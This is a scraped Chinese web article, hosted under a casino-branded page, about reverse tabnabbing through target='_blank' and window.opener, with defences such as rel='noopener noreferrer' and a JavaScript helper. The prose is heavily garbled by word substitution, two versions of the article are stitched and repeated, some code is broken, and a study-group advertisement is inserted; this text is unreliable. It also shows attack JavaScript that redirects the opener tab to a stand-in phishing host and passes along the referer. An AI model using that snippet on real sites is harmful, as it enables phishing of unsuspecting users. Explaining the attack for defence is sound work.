新闻资讯

当前位置:新萄京娱乐场手机版 > 新闻资讯 > 而 opener 是跟 parent 同样的对象,能够先聊聊 

而 opener 是跟 parent 同样的对象,能够先聊聊 

来源:http://www.chrisproduction.com 作者:新萄京娱乐场手机版 时间:2019-10-13 01:43

危险的 target=”_blank” 与 “opener”

2018/09/05 · JavaScript · target

初稿出处: 创宇前端   

图片 1

在网页中利用链接时,若是想要让浏览器自动在新的标签页展开钦赐的地点,日常的做法正是在 a 标签上增多 target等于"_blank" 属性。

不过,正是以此特性,为钓鱼攻击者带来了可乘之隙。

图片 2

起源

前言

parentopener

在说 opener 从前,能够先聊聊 <iframe> 中的 parent

我们领悟,在 <iframe> 中提供了贰个用于父亲和儿子页面交互的对象,叫做 window.parent,大家能够透过 window.parent 对象来从框架中的页面访谈父级页面包车型大巴 window

opener 与 parent 同样,只可是是用来 <a target="_blank"> 在新标签页张开的页面的。通过 <a target="_blank"> 展开的页面,能够直接使用 window.opener 来访问来源页面的 window 对象。

在网页中应用a链接时,也许会增添二个轻易的 target="_blank" 属性到 a 标签上来让浏览器用三个新的价签页来开拓多少个 USportageL 地址。但是这一质量正在形成互连网钓鱼者攻击的时机。

同域与跨域

浏览器提供了总体的跨域珍重,在域名同样不常候,parent 对象和 opener 对象实际就径直是上一流的 window 对象;而当域名分化期,parentopener 则是因此包装的二个 global 对象。这个 global 对象仅提供极度轻便的习性访谈,而且在此唯有的几性情格中,大部分也都是不相同意访问的(访谈会一向抛出 DOMException)。

图片 3

在 <iframe> 中,提供了二个 sandbox 属性用于调节框架中的页面包车型地铁权杖,因而固然是同域,也足以垄断 <iframe> 的安全性。

 

parent 和 opener

利用

设若,你的网址上有一个链接,使用了 target="_blank",那么一旦顾客点击那几个链接并跻身三个新的标签,新标签中的页面借使存在恶意代码,就可以将你的网址一直导航到多少个假冒伪造低劣网址。此时,要是客户回到你的标签页,见到的就是被替换过的页面了。

在钻探 opener 对象此前,大家先看看 <iframe> 里面包车型大巴 parent 对象。

详见步骤

  1. 在您的网址 https://example.com 上设有一个链接:
&lt;a href="https://an.evil.site"
target="_blank"&gt;进入一个“邪恶”的网站&lt;/a&gt;

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c60150781393-1">
1
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c60150781393-1" class="crayon-line">
&lt;a href=&quot;https://an.evil.site&quot; target=&quot;_blank&quot;&gt;进入一个“邪恶”的网站&lt;/a&gt;
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 客户点击了这几个链接,在新的标签页张开了那一个网址。这些网址能够通过 HTTP Header 中的 Referer 属性来剖断客户的根源。並且,那一个网站上带有着就像于那般的 JavaScript 代码:
const url = encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?' + url);

<table>
<colgroup>
<col style="width: 50%" />
<col style="width: 50%" />
</colgroup>
<tbody>
<tr class="odd">
<td><div class="crayon-nums-content" style="font-size: 13px !important; line-height: 15px !important;">
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-1">
1
</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5b8f6c4939c6a538489517-2">
2
</div>
<div class="crayon-num" data-line="crayon-5b8f6c4939c6a538489517-3">
3
</div>
</div></td>
<td><div class="crayon-pre" style="font-size: 13px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">
<div id="crayon-5b8f6c4939c6a538489517-1" class="crayon-line">
const url = encodeURIComponent('{{header.referer}}');
</div>
<div id="crayon-5b8f6c4939c6a538489517-2" class="crayon-line crayon-striped-line">
window.opener.location.replace('https://a.fake.site/?' + url);
</div>
<div id="crayon-5b8f6c4939c6a538489517-3" class="crayon-line">
 
</div>
</div></td>
</tr>
</tbody>
</table>
  1. 那时,顾客在三番五次浏览这一个新的标签页,而原本的网址所在的竹签页此时早就被导航到了 https://a.fake.site/?https%3A%2F%2Fexample.com%2F
  2. 恶意网址 https://a.fake.site 依据 Query String 来伪造一个能够欺骗客户的页面,并出示出来(时期还足以做一遍跳转,使得浏览器的地址栏更具有吸引性)。
  3. 顾客关闭 https://an.evil.site 的标签页,回到原先的网址………………已经回不去了。

上边的攻击步骤是在跨域的景色下的,在跨域情状下,opener 对象和 parent 同样,是饱受限制的,仅提供充裕简单的性能访问,而且在此仅部分多少个本性中,大多数也都以不容许访谈的(访谈会从来抛出 DOMException)。

但是与 parent 差异的是,在跨域的动静下,opener 照旧能够调用 location.replace 方法parent 则不可能。

倘假使在同域的情事下(比方二个网址上的某一个页面被植入了恶意代码),则意况要比下边严重得多。

笔者们都驾驭 <iframe> 提供了多少个用来父页面与子页面交互的靶子,它正是window.parent。也正是大家得以经过 window.parent 对象去拜望父页面包车型客车window对象。

防御

``<iframe> 中有 sandbox 属性,而链接,则能够运用上边包车型客车方法:

而 opener 是跟 parent 一样的指标,可是它只是用于通过 <a target="_blank"> 来张开的新标签页。你可以经过 window.opener 直接的拜见到新标签页面包车型客车 window 对象。

1. Referrer Policy 和 noreferrer

上边的攻击步骤中,用到了 HTTP Header 中的 Referer 属性,实际上能够在 HTTP 的响应头中扩大 Referrer Policy 头来确定保证来源隐秘安全。

Referrer Policy 须求修改后端代码来完成,而在前端,也得以利用 <a> 标签的 rel 属性来钦命 rel="noreferrer" 来保险来源隐秘安全。

<a href="" target="_blank" rel="noreferrer">进入一个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

但是要留意的是:固然限制了 referer 的传递,如故不能挡住原标签被恶心跳转。

同域和跨域

2. noopener

为了安全,当代浏览器都扶助在 <a> 标签的 rel 属性中钦点 rel="noopener",那样,在展开的新标签页中,将无法再使用 opener 对象了,它为设置为了 null

<a href="" target="_blank" rel="noopener">步向一个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

浏览器原本提供了整机的跨域爱慕体制。当新旧页面域名相同一时候,事实上 parent 对象和 opener 对象都以父页面包车型地铁 window 对象。当域名差别的时候,parent 和 opener 是包裹过的 global 对象。这些 global 对象只提供了十分受限制的性质,个中山大学部分的习性是分裂意访谈的 (当你点出这个属性时它会抛多少个 DOMException 的错误)。

3. JavaScript

noopener 属性看似是减轻了独具标题,不过…浏览器的包容性难点…

图片 4

能够见到,以后当先三分之二浏览器都早已特出了 rel="noopener" 属性了。不过,为了维护稍旧的“近代”浏览器或是很旧的“梁国”浏览器依旧是“公元元年从前”浏览器,唯有 noopener 属性还是远远不足的。

那儿,就只可以请出上面这段原生 JavaScript 来提携了。

"use strict"; function openUrl(url) { var newTab = window.open(); newTab.opener = null; newTab.location = url; }

1
2
3
4
5
6
"use strict";
function openUrl(url) {
  var newTab = window.open();
  newTab.opener = null;
  newTab.location = url;
}

图片 5图片 6

推荐

率先,在网址中的链接上,假设利用了 target="_blank",就要带上 rel="noopener",并且提出带上 rel="noreferrer"。类似于那般:

<a href="" target="_blank" rel="noopener noreferrer">步向一个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer">进入一个“邪恶”的网站</a>

本来,在跳转到第三方网址的时候,为了 SEO 权重,还提出带上 rel="nofollow",所以最后类似于那样:

<a href="" target="_blank" rel="noopener noreferrer nofollow">步向二个“邪恶”的网址</a>

1
<a href="https://an.evil.site" target="_blank" rel="noopener noreferrer nofollow">进入一个“邪恶”的网站</a>

在 <iframe> 中,提供了二个 sandbox 属性来调控这几个页面包车型大巴权能,所以即使是同样域名,你也能够因此它来决定 <iframe> 的安全性。

性能

末了,再来讲说质量难点。

一经网址接纳了 <a target="_blank">,那么新开辟的标签页的性质将会影响到当前页面。此时倘使新开采的页面中执行了贰个要命宏大的 JavaScript 脚本,那么原始标签页也会面对震慑,会油然则生卡顿的场景(当然未必卡死)。

而只要在链接中参预了 noopener,则此时五个标签页将会互不郁闷,使得原页面包车型大巴性格不会受到新页面包车型客车熏陶。

1 赞 收藏 评论

图片 7

恶意攻击

倘让你的网址上有一个选择了 target="_blank" 的 a 标签链接,一旦顾客点击了这几个链接张开了新的标签页,假若那么些标签页跳转的网址内设有的恶意代码,那么您原本页面包车型大巴网址大概会被转到八个假的页面。也便是说,当客商回到原先的页面时,他看看的或然正是一度被替换过的垂钓页面了。

此间如故要引入下小编的web前端学习 群 : 687958461,不管你是小白依然大牌,笔者作者都应接,不按期分享干货,包蕴笔者自个儿收拾的一份最新的web前端资料和0基础入门教程,应接初学和进级中的小伙伴。在不忙的光阴作者会给大家答疑。

步骤

  1. 您的网站上有三个 a 标签的链接

Enter an "evil" website

一个客户点击了这几个链接在三个新的标签页张开那些新的网址。这么些网址能够依靠顾客跳转新页面的HTTP 须要中的 header 里的 Referer 字段来规定这几个顾客的发源。

而以此网址富含类似的 JavaScript code:

const url = encodeURIComponent('{{header.referer}}');

window.opener.location.replace('' + url);

  1. 先天,这些顾客继续浏览合格新开垦的标签页,当以此起头的页面已经加载到 之后。

  2. 那一个恶意的网址 可以依据那么些 querystring 部分伪造一个跟原先的页面一样的页面来蒙混过关客商(其实你也可以在此之间制作另二个跳转,让浏览器的地址栏看起来更令人纠葛)

4. 当客户关掉那些新标签页(, no, 你再也回不到起来极度页面了。

如上的攻击格局,是在跨域的气象中。因为当跳转的页面跨域时,opener 对象与 parent 是同一个。即使,都是受限制的同期只提供了比非常少的受限的可用属性。而且这一部分可用的本性里,大部分都不被允许访谈(否则使用时会直接报错 DOMException)。可是在跨域的场所中,opener 对象不像 parent 对象那么严厉,opener 依然能够调用 location.replace 方法。

要是那是同域场景(比方,那几个网址上的三个页面已经被停放了恶意代码),那么那些状态会变得更其严重。

预防

在 <iframe> 中有一个 sandbox 属性,所以你能够动用以下的一对措施来堤防链接:

  1. Referrer Policy 和 noreferrer

在上述的抨击步骤中,有用到 HTTP header 里的 Referer 属性。事实上,你可以在时下页面再次回到的 HTTP Response Headers 中增添Referrer Policy 头来确定保障原来网页能够不受新标签页的扰攘。

你需求修改后端代码(译注:也许 nginx 配置)来贯彻增进 Referer Policy 头。同一时候在前端,你也能够动用 <a> 标签本人协助的 rel 属性,通过指明 rel="noreferrer" 来保管原网页不受新标签页的骚扰。

Enter an "evil" website

但是,须求在乎的是当下你早就限制了 referer 的传递,原网页照旧无法阻止被恶意地重定向。

  1. noopener

处在安全的虚构,当代浏览器协助钦点 rel="noopener" 在 <a> 标签上,进而在新开发的价签页里,opener 对象将不可用,其值直接被设置成了 null。

Enter an "evil" website

  1. JavaScript

而 noopener 属性看起来解决了富有的主题素材,但是…… 你依旧须要考虑浏览器兼容的情状。

图片 8

如你所见, 超过56%浏览器都曾经杰出 rel="noopener" 属性了。可是,为了保险略老一点版本的浏览器以致公元元年以前浏览器,只用 noopener 是缺乏的。

因此您不得不参谋以下的 JavaScript 代码来拍卖:

"use strict";

function openUrl {

var newTab = window.open();

newTab.opener = null;

newTab.location = url;

}

至上忠告

首先,你能够增进 rel="noopener" 到网址的 a 标签上(也援引使用 rel="noreferrer"), 假若算上 target="_blank",那么看起来粗粗是如此:

rel="noopener noreferrer">

Enter an "evil" website

自然,当您要跳转到第三方网址的时候,就推荐增多 rel="nofollow" 来调动 SEO 权重。那看起来像:

rel="noopener noreferrer nofollow">

Enter an "evil" website

性能

末段,大家来切磋一下质量难点,假诺网址选择 <a target="_blank”> 新开采的标签页的个性就能潜濡默化当下展开的页面。在此一点看来,假使在新开的页面里有多个很臃肿的 JavaScript 脚本要实施,那么原本的页面也会境遇震慑,相同的时间当前页面停滞的景观也大概出现(相当于这多个页面是在同一个线程上)。

一旦 noopener 增添到了链接上,那么那新旧七个页面就无法相互加入对方了,也正是说原本的页面不会遭逢新页面包车型大巴影响(这些页面就改成多个线程了)。

本文由新萄京娱乐场手机版发布于新闻资讯,转载请注明出处:而 opener 是跟 parent 同样的对象,能够先聊聊 

关键词: